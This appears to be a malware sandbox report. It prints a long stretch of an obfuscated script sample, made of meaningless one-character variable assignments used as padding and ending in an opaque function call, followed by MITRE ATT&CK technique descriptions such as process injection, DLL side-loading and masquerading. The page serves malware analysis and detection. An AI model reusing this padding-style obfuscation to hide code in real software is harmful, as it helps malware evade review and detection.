422	ktiovt = "o";
423	ktiovt = "j";
424	ktiovt = "H";
425	ktiovt = "K";
426	ktiovt = "A";
427	ktiovt = "q";
428	ktiovt = "H";
429	ktiovt = "z";
430	ktiovt = "W";
431	ktiovt = "V";
432	ktiovt = "1";
433	yhgoyvr = "B";
434	yhgoyvr = "x";
435	yhgoyvr = "J";
436	yhgoyvr = "Q";
437	yhgoyvr = "c";
438	yhgoyvr = "A";
439	yhgoyvr = "X";
440	yhgoyvr = "K";
441	yhgoyvr = "s";
442	yhgoyvr = "F";
443	yhgoyvr = "o";
444	yhgoyvr = "a";
445	yhgoyvr = "p";
446	yhgoyvr = "u";
447	yhgoyvr = "K";
448	yhgoyvr = "T";
449	yhgoyvr = "W";
450	yhgoyvr = "Z";
451	yhgoyvr = "o";
452	yhgoyvr = "H";
453	yhgoyvr = "I";
454	yhgoyvr = "D";
455	yhgoyvr = "E";
456	yhgoyvr = "x";
457	yhgoyvr = "k";
458	yhgoyvr = "p";
459	yhgoyvr = "q";
460	yhgoyvr = "H";
461	cbrtxd = "d";
462	cbrtxd = "z";
463	cbrtxd = "o";
464	cbrtxd = "P";
465	cbrtxd = "G";
466	cbrtxd = "R";
467	cbrtxd = "S";
468	cbrtxd = "c";
469	cbrtxd = "H";
470	cbrtxd = "W";
471	cbrtxd = "q";
472	cbrtxd = "n";
473	cbrtxd = "U";
474	cbrtxd = "Q";
475	cbrtxd = "w";
476	cbrtxd = "f";
477	cbrtxd = "B";
478	cbrtxd = "n";
479	cbrtxd = "z";
480	cbrtxd = "f";
481	cbrtxd = "q";
482	cbrtxd = "T";
483	cbrtxd = "Y";
484	cbrtxd = "R";
485	cbrtxd = "m";
486	cbrtxd = "y";
487	cbrtxd = "K";
488	cbrtxd = "J";
489	cbrtxd = "Z";
490	cbrtxd = "w";
491	cbrtxd = "x";
492	cbrtxd = "w";
493	cbrtxd = "n";
494	xpxjbnh = "t";
495	xpxjbnh = "E";
496	xpxjbnh = "W";
497	xpxjbnh = "B";
498	xpxjbnh = "u";
499	xpxjbnh = "S";
500	xpxjbnh = "N";
501	xpxjbnh = "X";
502	xpxjbnh = "q";
503	xpxjbnh = "v";
504	xpxjbnh = "A";
505	xpxjbnh = "j";
506	xpxjbnh = "c";
507	hqjxryzmt = "W";
508	hqjxryzmt = "R";
509	hqjxryzmt = "A";
510	hqjxryzmt = "u";
511	hqjxryzmt = "J";
512	hqjxryzmt = "Q";
513	hqjxryzmt = "F";
514	hqjxryzmt = "H";
515	hqjxryzmt = "L";
516	bsgud = "r";
517	bsgud = "g";
518	bsgud = "k";
519	bsgud = "Y";
520	bsgud = "v";
521	bsgud = "l";
522	ujonth = "L";
523	ujonth = "W";
524	ujonth = "T";
525	ujonth = "m";
526	ujonth = "o";
527	ujonth = "q";
528	ujonth = "V";
529	ujonth = "X";
530	ujonth = "Z";
531	ujonth = "x";
532	ujonth = "F";
533	ujonth = "V";
534	ujonth = "G";
535	ujonth = "S";
536	ujonth = "e";
537	ujonth = "W";
538	ujonth = "Q";
539	ujonth = "j";
540	ujonth = "K";
541	ujonth = "D";
542	ujonth = "s";
543	ujonth = "i";
544	ujonth = "K";
545	ujonth = "h";
546	ibvpk = "X";
547	ibvpk = "L";
548	ibvpk = "F";
549	ibvpk = "X";
550	ibvpk = "G";
551	ibvpk = "x";
552	ibvpk = "N";
553	ibvpk = "u";
554	ibvpk = "c";
555	ibvpk = "s";
556	ibvpk = "y";
557	ibvpk = "q";
558	ibvpk = "e";
559	ibvpk = "l";
560	ibvpk = "x";
561	ibvpk = "G";
562	ibvpk = "l";
563	ibvpk = "H";
564	ibvpk = "h";
565	ibvpk = "i";
566	ibvpk = "y";
567	ibvpk = "b";
568	ibvpk = "V";
569	ibvpk = "T";
570	ibvpk = "D";
571	ibvpk = "d";
572	ibvpk = "L";
573	ibvpk = "f";
574	ibvpk = "x";
575	ibvpk = "v";
576	ibvpk = "U";
577	ibvpk = "p";
578	ibvpk = "p";
579	ibvpk = "O";
580	ibvpk = "E";
581	ibvpk = "b";
582	ibvpk = "C";
583	ibvpk = "f";
584	ibvpk = "H";
585	ibvpk = "C";
586	ibvpk = "O";
587	ibvpk = "N";
588	ibvpk = "K";
589	fbcaj = "w";
590	fbcaj = "c";
591	fbcaj = "T";
592	fbcaj = "D";
593	fbcaj = "H";
594	fbcaj = "h";
595	fbcaj = "k";
596	fbcaj = "n";
597	fbcaj = "u";
598	fbcaj = "Z";
599	fbcaj = "z";
600	fbcaj = "J";
601	fbcaj = "V";
602	fbcaj = "v";
603	fbcaj = "X";
604	fbcaj = "m";
605	fbcaj = "C";
606	fbcaj = "r";
607	fbcaj = "B";
608	fbcaj = "E";
609	fbcaj = "R";
610	fbcaj = "U";
611	fbcaj = "p";
612	fbcaj = "k";
613	fbcaj = "c";
614	fbcaj = "o";
615	fbcaj = "T";
616	fbcaj = "m";
617	fbcaj = "T";
618	fbcaj = "Z";
619	fbcaj = "j";
620	fbcaj = "c";
621	fbcaj = "n";
622	fbcaj = "j";
623	fbcaj = "Y";
624	fbcaj = "U";
625	fbcaj = "m";
626	fbcaj = "h";
627	fbcaj = "k";
628	fbcaj = "W";
629	fbcaj = "P";
630	fbcaj = "w";
631	fbcaj = "l";
632	fbcaj = "t";
633	nbwgvvea = "G";
634	nbwgvvea = "f";
635	nbwgvvea = "v";
636	nbwgvvea = "e";
637	nbwgvvea = "u";
638	nbwgvvea = "A";
639	nbwgvvea = "s";
640	nbwgvvea = "q";
641	nbwgvvea = "e";
642	nbwgvvea = "u";
643	jywqympc = "r";
644	jywqympc = "Q";
645	jywqympc = "O";
646	jywqympc = "Y";
647	jywqympc = "m";
648	jywqympc = "k";
649	jywqympc = "K";
650	jywqympc = "L";
651	jywqympc = "R";
652	jywqympc = "n";
653	jywqympc = "d";
654	jywqympc = "I";
655	jywqympc = "y";
656	jywqympc = "B";
657	jywqympc = "E";
658	jywqympc = "H";
659	jywqympc = "B";
660	jywqympc = "o";
661	jywqympc = "b";
662	jywqympc = "j";
663	jywqympc = "M";
664	jywqympc = "T";
665	jywqympc = "k";
666	jywqympc = "L";
667	jywqympc = "T";
668	jywqympc = "M";
669	jywqympc = "m";
670	jywqympc = "e";
671	jywqympc = "h";
672	jywqympc = "V";
673	jywqympc = "W";
674	jywqympc = "e";
675	jywqympc = "s";
676	jywqympc = "f";
677	jywqympc = "r";
678	jywqympc = "K";
679	jywqympc = "v";
680	jywqympc = "N";
681	jywqympc = "W";
682	jywqympc = "Z";
683	jywqympc = "m";
684	jywqympc = "W";
685	vvlwlzjqe = "D";
686	vvlwlzjqe = "I";
687	vvlwlzjqe = "K";
688	vvlwlzjqe = "t";
689	vvlwlzjqe = "G";
690	vvlwlzjqe = "B";
691	vvlwlzjqe = "N";
692	vvlwlzjqe = "v";
693	vvlwlzjqe = "d";
694	fkobp = "c";
695	fkobp = "K";
696	fkobp = "M";
697	fkobp = "M";
698	fkobp = "u";
699	fkobp = "A";
700	fkobp = "t";
701	fkobp = "m";
702	fkobp = "x";
703	fkobp = "X";
704	fkobp = "M";
705	fkobp = "e";
706	fkobp = "l";
707	fkobp = "Y";
708	fkobp = "F";
709	fkobp = "b";
710	fkobp = "u";
711	fkobp = "G";
712	fkobp = "x";
713	fkobp = "l";
714	fkobp = "f";
715	fkobp = "f";
716	fkobp = "s";
717	fkobp = "W";
718	fkobp = "E";
719	fkobp = "j";
720	fkobp = "U";
721	fkobp = "e";
722	fkobp = "d";
723	fkobp = "c";
724	fkobp = "A";
725	fkobp = "B";
726	fkobp = "e";
727	fkobp = "d";
728	fkobp = "b";
729	fkobp = "t";
730	fkobp = "e";
731	fkobp = "x";
732	fkobp = "M";
733	fkobp = "A";
734	fkobp = "A";
735	fkobp = "a";
736	kpmfhu = "T";
737	kpmfhu = "l";
738	kpmfhu = "H";
739	kpmfhu = "q";
740	kpmfhu = "G";
741	kpmfhu = "Y";
742	kpmfhu = "Y";
743	kpmfhu = "T";
744	kpmfhu = "I";
745	kpmfhu = "F";
746	jqcljnjqq = "Y";
747	jqcljnjqq = "j";
748	jqcljnjqq = "b";
749	jqcljnjqq = "Z";
750	jqcljnjqq = "q";
751	jqcljnjqq = "9";
752	mgmfhbznp = "A";
753	mgmfhbznp = ":";
754	gidiymu = "R";
755	gidiymu = "x";
756	gidiymu = "S";
757	gidiymu = "o";
758	gidiymu = "b";
759	gidiymu = "D";
760	gidiymu = "l";
761	gidiymu = "D";
762	gidiymu = "V";
763	gidiymu = "o";
764	gidiymu = "w";
765	gidiymu = "T";
766	gidiymu = "e";
767	gidiymu = "e";
768	gidiymu = "Y";
769	gidiymu = "B";
770	gidiymu = "C";
771	gidiymu = "P";
772	gidiymu = "I";
773	gidiymu = "B";
774	gidiymu = "V";
775	gidiymu = "q";
776	gidiymu = "k";
777	gidiymu = "N";
778	gidiymu = "w";
779	gidiymu = "m";
780	gidiymu = "T";
781	gidiymu = "l";
782	gidiymu = "D";
783	gidiymu = "J";
784	gidiymu = "P";
785	gidiymu = "C";
786	gidiymu = "k";
787	gidiymu = "x";
788	gidiymu = "Y";
789	gidiymu = "o";
790	gidiymu = "s";
791	gidiymu = "p";
792	gidiymu = "X";
793	gidiymu = "s";
794	txoql = "F";
795	txoql = "M";
796	txoql = "u";
797	txoql = "l";
798	txoql = "N";
799	txoql = "Y";
800	txoql = "I";
801	txoql = "l";
802	txoql = "n";
803	txoql = "Q";
804	txoql = "G";
805	txoql = "o";
806	txoql = "E";
807	txoql = "t";
808	txoql = "M";
809	txoql = "c";
810	txoql = "-";
811	ahqujrbz = "N";
812	ahqujrbz = "d";
813	ahqujrbz = "I";
814	ahqujrbz = "T";
815	ahqujrbz = "o";
816	ahqujrbz = "H";
817	ahqujrbz = "W";
818	ahqujrbz = "i";
819	ahqujrbz = "Z";
820	ahqujrbz = "K";
821	ahqujrbz = "r";
822	ahqujrbz = "N";
823	ahqujrbz = "h";
824	ahqujrbz = "j";
825	ahqujrbz = "h";
826	ahqujrbz = "m";
827	ahqujrbz = "l";
828	ahqujrbz = "C";
829	ahqujrbz = "P";
830	ahqujrbz = "I";
831	ahqujrbz = "O";
832	ahqujrbz = "D";
833	ahqujrbz = "P";
834	ahqujrbz = "H";
835	ahqujrbz = "a";
836	ahqujrbz = "r";
837	ahqujrbz = "M";
838	ahqujrbz = "u";
839	ahqujrbz = "E";
840	ahqujrbz = "n";
841	ahqujrbz = "D";
842	ahqujrbz = "f";
843	ahqujrbz = "k";
844	ahqujrbz = "I";
845	ahqujrbz = "W";
846	ahqujrbz = "l";
847	ahqujrbz = "d";
848	ahqujrbz = "b";
849	ahqujrbz = "v";
850	ahqujrbz = "d";
851	ahqujrbz = "e";
852	ahqujrbz = "c";
853	ahqujrbz = "U";
854	pbnzvdnbd = "e";
855	pbnzvdnbd = "z";
856	pbnzvdnbd = "j";
857	pbnzvdnbd = "q";
858	pbnzvdnbd = "n";
859	pbnzvdnbd = "A";
860	pbnzvdnbd = "W";
861	pbnzvdnbd = "j";
862	pbnzvdnbd = "A";
863	pbnzvdnbd = "e";
864	pbnzvdnbd = "b";
865	pbnzvdnbd = "L";
866	pbnzvdnbd = "E";
867	pbnzvdnbd = "y";
868	pbnzvdnbd = "C";
869	pbnzvdnbd = "u";
870	pbnzvdnbd = "s";
871	pbnzvdnbd = "F";
872	pbnzvdnbd = "x";
873	ftgroxorh = "m";
874	ftgroxorh = "a";
875	ftgroxorh = "H";
876	ftgroxorh = "x";
877	ftgroxorh = "r";
878	ftgroxorh = "q";
879	ftgroxorh = "V";
880	ftgroxorh = "d";
881	ftgroxorh = "J";
882	ftgroxorh = "a";
883	ftgroxorh = "m";
884	ftgroxorh = "n";
885	ftgroxorh = "k";
886	ftgroxorh = "M";
887	ftgroxorh = "X";
888	ftgroxorh = "t";
889	ftgroxorh = "p";
890	ftgroxorh = "m";
891	ftgroxorh = "a";
892	ftgroxorh = "f";
893	ftgroxorh = "x";
894	ftgroxorh = "z";
895	ftgroxorh = "m";
896	ftgroxorh = "r";
897	ftgroxorh = "b";
898	ftgroxorh = "g";
899	ftgroxorh = "J";
900	ftgroxorh = "V";
901	ftgroxorh = "y";
902	ftgroxorh = "l";
903	ftgroxorh = "u";
904	ftgroxorh = "d";
905	ftgroxorh = "Z";
906	ftgroxorh = "j";
907	ftgroxorh = "V";
908	ftgroxorh = "w";
909	ftgroxorh = "Z";
910	ftgroxorh = "D";
911	ftgroxorh = "S";
912	ftgroxorh = "o";
913	eduwgn = "L";
914	eduwgn = "i";
915	eduwgn = "E";
916	eduwgn = "y";
917	eduwgn = "M";
918	eduwgn = "k";
919	eduwgn = "b";
920	eduwgn = "P";
921	eduwgn = "F";
922	eduwgn = "a";
923	eduwgn = "P";
924	eduwgn = "J";
925	eduwgn = "n";
926	eduwgn = "w";
927	eduwgn = "l";
928	eduwgn = "s";
929	eduwgn = "x";
930	eduwgn = "\\";
931	srlbybq = "g";
932	srlbybq = "s";
933	srlbybq = "k";
934	srlbybq = "d";
935	srlbybq = "w";
936	srlbybq = "I";
937	srlbybq = "d";
938	srlbybq = "g";
939	srlbybq = "j";
940	srlbybq = "R";
941	srlbybq = "e";
942	srlbybq = "s";
943	srlbybq = "x";
944	srlbybq = "k";
945	srlbybq = "w";
946	srlbybq = "B";
947	srlbybq = "X";
948	srlbybq = "h";
949	srlbybq = "b";
950	srlbybq = "3";
951	piiksmm = "F";
952	piiksmm = "S";
953	piiksmm = "k";
954	piiksmm = "L";
955	piiksmm = "U";
956	piiksmm = "E";
957	cjbgwd = "x";
958	cjbgwd = "K";
959	cjbgwd = "w";
960	cjbgwd = "z";
961	cjbgwd = "X";
962	cjbgwd = "5";
963	rctvxr = "U";
964	rctvxr = "R";
965	rctvxr = "C";
966	rctvxr = "q";
967	rctvxr = "d";
968	rctvxr = "g";
969	rctvxr = "Z";
970	rctvxr = "g";
971	rctvxr = "Y";
972	rctvxr = "O";
973	rctvxr = "l";
974	rctvxr = "V";
975	rctvxr = "h";
976	rctvxr = "J";
977	rctvxr = "R";
978	rctvxr = "S";
979	rctvxr = "v";
980	rctvxr = "Z";
981	rctvxr = "X";
982	rctvxr = "l";
983	rctvxr = "Q";
984	rctvxr = "W";
985	rctvxr = "F";
986	rctvxr = "S";
987	rctvxr = "h";
988	rctvxr = "u";
989	rctvxr = "e";
990	rctvxr = "L";
991	rctvxr = "q";
992	rctvxr = "y";
993	rctvxr = "c";
994	rctvxr = "C";
995	rctvxr = "a";
996	rctvxr = "x";
997	rctvxr = "/";
998	ldtkiusz = "a";
999	ldtkiusz = "Y";
1000	ldtkiusz = "v";
1001	ldtkiusz = "V";
1002	ldtkiusz = "o";
1003	ldtkiusz = "E";
1004	ldtkiusz = "C";
1005	ldtkiusz = "O";
1006	ldtkiusz = "W";
1007	ldtkiusz = "d";
1008	ldtkiusz = "o";
1009	ldtkiusz = "C";
1010	ldtkiusz = "e";
1011	hgnkv = "t";
1012	hgnkv = "Q";
1013	hgnkv = "l";
1014	hgnkv = "U";
1015	hgnkv = "u";
1016	hgnkv = "7";
1017	rrbulmm = "v";
1018	rrbulmm = "u";
1019	rrbulmm = "q";
1020	rrbulmm = "a";
1021	rrbulmm = "k";
1022	rrbulmm = "N";
1023	rrbulmm = "a";
1024	rrbulmm = "t";
1025	rrbulmm = "s";
1026	rrbulmm = "f";
1027	rrbulmm = "p";
1028	rrbulmm = "c";
1029	rrbulmm = "w";
1030	rrbulmm = "c";
1031	rrbulmm = "v";
1032	rrbulmm = "P";
1033	rrbulmm = "l";
1034	rrbulmm = "W";
1035	rrbulmm = "M";
1036	rrbulmm = "A";
1037	rrbulmm = "r";
1038	rrbulmm = "e";
1039	rrbulmm = "F";
1040	rrbulmm = "F";
1041	rrbulmm = "O";
1042	rrbulmm = "T";
1043	rrbulmm = "j";
1044	rrbulmm = "H";
1045	rrbulmm = "Q";
1046	rrbulmm = "H";
1047	rrbulmm = "C";
1048	rrbulmm = "w";
1049	rrbulmm = "G";
1050	rrbulmm = "M";
1051	rrbulmm = "N";
1052	rrbulmm = "w";
1053	rrbulmm = "c";
1054	rrbulmm = "v";
1055	pjyfjg = "C";
1056	pjyfjg = "x";
1057	pjyfjg = "q";
1058	pjyfjg = "y";
1059	pjyfjg = "O";
1060	pjyfjg = "P";
1061	pjyfjg = "I";
1062	pjyfjg = "A";
1063	pjyfjg = "K";
1064	pjyfjg = "a";
1065	pjyfjg = "G";
1066	pjyfjg = "e";
1067	pjyfjg = "o";
1068	pjyfjg = "L";
1069	pjyfjg = "Z";
1070	pjyfjg = "a";
1071	pjyfjg = "J";
1072	pjyfjg = "a";
1073	pjyfjg = "g";
1074	efdjs = "D";
1075	efdjs = "F";
1076	efdjs = "l";
1077	efdjs = "l";
1078	efdjs = "U";
1079	efdjs = "c";
1080	efdjs = "r";
1081	efdjs = "I";
1082	efdjs = "\"";
1083	cdndy = "b";
1084	cdndy = "q";
1085	cdndy = "f";
1086	cdndy = "d";
1087	cdndy = "B";
1088	cdndy = "t";
1089	cdndy = "G";
1090	cdndy = "J";
1091	cdndy = "c";
1092	cdndy = "r";
1093	cdndy = "S";
1094	cdndy = "q";
1095	cdndy = "m";
1096	cdndy = "p";
1097	cdndy = "i";
1098	cdndy = "G";
1099	cdndy = "d";
1100	cdndy = "z";
1101	cdndy = "x";
1102	cdndy = "s";
1103	cdndy = "Y";
1104	cdndy = "J";
1105	cdndy = "a";
1106	cdndy = "d";
1107	cdndy = "R";
1108	cdndy = "o";
1109	cdndy = "I";
1110	wpzidvmao = "o";
1111	wpzidvmao = "E";
1112	wpzidvmao = "y";
1113	wpzidvmao = "O";
1114	wpzidvmao = "k";
1115	jblwcb = "Z";
1116	jblwcb = "a";
1117	jblwcb = "r";
1118	jblwcb = "a";
1119	jblwcb = "D";
1120	jblwcb = "W";
1121	jblwcb = "G";
1122	jblwcb = "d";
1123	jblwcb = "z";
1124	jblwcb = "f";
1125	jblwcb = "O";
1126	jblwcb = "p";
1127	jblwcb = "b";
1128	jblwcb = "G";
1129	jblwcb = "k";
1130	jblwcb = "x";
1131	jblwcb = "n";
1132	jblwcb = "Z";
1133	jblwcb = "z";
1134	jblwcb = "C";
1135	jblwcb = "n";
1136	jblwcb = "a";
1137	jblwcb = "e";
1138	jblwcb = "s";
1139	jblwcb = "V";
1140	jblwcb = "J";
1141	jblwcb = "8";
1142	zgzrjqbf = "S";
1143	zgzrjqbf = "S";
1144	zgzrjqbf = "q";
1145	zgzrjqbf = "X";
1146	zgzrjqbf = "U";
1147	zgzrjqbf = "n";
1148	zgzrjqbf = "J";
1149	zgzrjqbf = "I";
1150	zgzrjqbf = "v";
1151	zgzrjqbf = "v";
1152	zgzrjqbf = "U";
1153	zgzrjqbf = "M";
1154	zgzrjqbf = "I";
1155	zgzrjqbf = "Q";
1156	zgzrjqbf = "b";
1157	zgzrjqbf = "D";
1158	zgzrjqbf = "C";
1159	zgzrjqbf = "q";
1160	zgzrjqbf = "a";
1161	zgzrjqbf = "D";
1162	zgzrjqbf = "u";
1163	zgzrjqbf = "H";
1164	zgzrjqbf = "f";
1165	ajrvhid = "N";
1166	ajrvhid = "O";
1167	ajrvhid = "L";
1168	ajrvhid = "O";
1169	ajrvhid = "s";
1170	ajrvhid = "k";
1171	ajrvhid = "A";
1172	ajrvhid = "P";
1173	ajrvhid = "J";
1174	ajrvhid = "e";
1175	ajrvhid = "J";
1176	ajrvhid = "i";
1177	ajrvhid = "O";
1178	ajrvhid = "b";
1179	ajrvhid = "d";
1180	ajrvhid = "r";
1181	ajrvhid = "Q";
1182	ajrvhid = "k";
1183	ajrvhid = "s";
1184	ajrvhid = ".";
1185	adxmxfp = "Z";
1186	adxmxfp = "E";
1187	adxmxfp = "v";
1188	adxmxfp = "L";
1189	adxmxfp = "i";
1190	adxmxfp = "t";
1191	adxmxfp = "F";
1192	adxmxfp = "U";
1193	adxmxfp = "y";
1194	adxmxfp = "k";
1195	adxmxfp = "Z";
1196	adxmxfp = "R";
1197	adxmxfp = "g";
1198	adxmxfp = "P";
1199	adxmxfp = "b";
1200	adxmxfp = "F";
1201	adxmxfp = "a";
1202	adxmxfp = "V";
1203	adxmxfp = "f";
1204	adxmxfp = "R";
1205	adxmxfp = "y";
1206	adxmxfp = "k";
1207	adxmxfp = "e";
1208	adxmxfp = "Y";
1209	adxmxfp = "M";
1210	adxmxfp = "Q";
1211	adxmxfp = "O";
1212	adxmxfp = "I";
1213	adxmxfp = "S";
1214	adxmxfp = "J";
1215	adxmxfp = "e";
1216	adxmxfp = "z";
1217	adxmxfp = "i";
1218	adxmxfp = "U";
1219	adxmxfp = "a";
1220	adxmxfp = "P";
1221	adxmxfp = "s";
1222	adxmxfp = "B";
1223	adxmxfp = "i";
1224	adxmxfp = "J";
1225	adxmxfp = "v";
1226	adxmxfp = "s";
1227	adxmxfp = "t";
1228	adxmxfp = "4";
1229	kpwcd = "F";
1230	kpwcd = "r";
1231	vbspbemi = "a";
1232	vbspbemi = "w";
1233	vbspbemi = "C";
1234	vbspbemi = "g";
1235	vbspbemi = "E";
1236	vbspbemi = "U";
1237	vbspbemi = "K";
1238	vbspbemi = "e";
1239	vbspbemi = "l";
1240	vbspbemi = "N";
1241	vbspbemi = "d";
1242	vbspbemi = "m";
1243	vbspbemi = "j";
1244	vbspbemi = "F";
1245	vbspbemi = "Y";
1246	vbspbemi = "d";
1247	vbspbemi = "q";
1248	ioiwhbdvm = "S";
1249	ioiwhbdvm = "J";
1250	ioiwhbdvm = "I";
1251	ioiwhbdvm = "D";
1252	ioiwhbdvm = "H";
1253	ioiwhbdvm = "n";
1254	ioiwhbdvm = "m";
1255	ioiwhbdvm = "h";
1256	ioiwhbdvm = "w";
1257	ioiwhbdvm = "G";
1258	ioiwhbdvm = "y";
1259	ioiwhbdvm = "B";
1260	ioiwhbdvm = "f";
1261	ioiwhbdvm = "G";
1262	ioiwhbdvm = "Q";
1263	ioiwhbdvm = "e";
1264	ioiwhbdvm = "B";
1265	ioiwhbdvm = "Q";
1266	ioiwhbdvm = "D";
1267	ioiwhbdvm = "R";
1268	ioiwhbdvm = "h";
1269	ioiwhbdvm = "l";
1270	ioiwhbdvm = "X";
1271	ioiwhbdvm = "o";
1272	ioiwhbdvm = "M";
1273	ioiwhbdvm = "I";
1274	ioiwhbdvm = "Q";
1275	ioiwhbdvm = "g";
1276	ioiwhbdvm = "6";
1277	vpieb = "p";
1278	vpieb = "z";
1279	vpieb = "t";
1280	vpieb = "Y";
1281	vpieb = "y";
1282	vpieb = "i";
1283	vpieb = "r";
1284	vpieb = "H";
1285	vpieb = "M";
1286	vpieb = "U";
1287	vpieb = "I";
1288	vpieb = "d";
1289	vpieb = "l";
1290	vpieb = "Q";
1291	vpieb = "K";
1292	vpieb = "g";
1293	vpieb = "F";
1294	vpieb = "m";
1295	vpieb = "U";
1296	vpieb = "P";
1297	vpieb = "z";
1298	vpieb = "l";
1299	vpieb = "E";
1300	vpieb = "P";
1301	vpieb = "f";
1302	vpieb = "e";
1303	vpieb = "D";
1304	vpieb = "W";
1305	vpieb = "B";
1306	vpieb = "s";
1307	vpieb = "@";
1308	qmaemu = "t";
1309	qmaemu = "Y";
1310	qmaemu = "a";
1311	qmaemu = "U";
1312	qmaemu = "a";
1313	qmaemu = "E";
1314	qmaemu = "J";
1315	qmaemu = "e";
1316	qmaemu = "m";
1317	qmaemu = "H";
1318	qmaemu = "A";
1319	qmaemu = "C";
1320	qmaemu = "J";
1321	qmaemu = "Q";
1322	qmaemu = "Q";
1323	qmaemu = "n";
1324	qmaemu = "X";
1325	qmaemu = "f";
1326	qmaemu = "j";
1327	qmaemu = "j";
1328	qmaemu = "o";
1329	qmaemu = "k";
1330	qmaemu = "o";
1331	qmaemu = "E";
1332	qmaemu = "T";
1333	qmaemu = "K";
1334	qmaemu = "V";
1335	qmaemu = "R";
1336	qmaemu = "I";
1337	qmaemu = "i";
1338	qmaemu = "h";
1339	qmaemu = "V";
1340	qmaemu = "w";
1341	qmaemu = "B";
1342	qmaemu = "x";
1343	qmaemu = "W";
1344	qmaemu = "R";
1345	qmaemu = "j";
1346	qmaemu = "I";
1347	qmaemu = "p";
1348	qmaemu = "D";
1349	qmaemu = "s";
1350	qmaemu = "S";
1351	qmaemu = "R";
1352	qmaemu = "S";
1353	aoqgj = "Q";
1354	aoqgj = "K";
1355	aoqgj = "U";
1356	aoqgj = "z";
1357	aoqgj = "l";
1358	aoqgj = "v";
1359	aoqgj = "i";
1360	aoqgj = "g";
1361	aoqgj = "l";
1362	aoqgj = "S";
1363	aoqgj = "D";
1364	aoqgj = "m";
1365	aoqgj = "q";
1366	aoqgj = "Y";
1367	aoqgj = "e";
1368	aoqgj = "E";
1369	aoqgj = "D";
1370	aoqgj = "K";
1371	aoqgj = "x";
1372	aoqgj = "d";
1373	aoqgj = "x";
1374	aoqgj = "f";
1375	aoqgj = "f";
1376	aoqgj = "h";
1377	aoqgj = "Z";
1378	aoqgj = "h";
1379	aoqgj = "Q";
1380	ptdcto = "U";
1381	ptdcto = "p";
1382	ptdcto = "G";
1383	ptdcto = "f";
1384	ptdcto = "R";
1385	ptdcto = "c";
1386	ptdcto = "E";
1387	ptdcto = "M";
1388	ptdcto = "E";
1389	ptdcto = "d";
1390	ptdcto = "t";
1391	ptdcto = "u";
1392	ptdcto = "k";
1393	ptdcto = "r";
1394	ptdcto = "u";
1395	ptdcto = "f";
1396	ptdcto = "q";
1397	ptdcto = "A";
1398	ptdcto = "n";
1399	ptdcto = "%";
1400	rsozhpkn ( );	rsozhpkn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

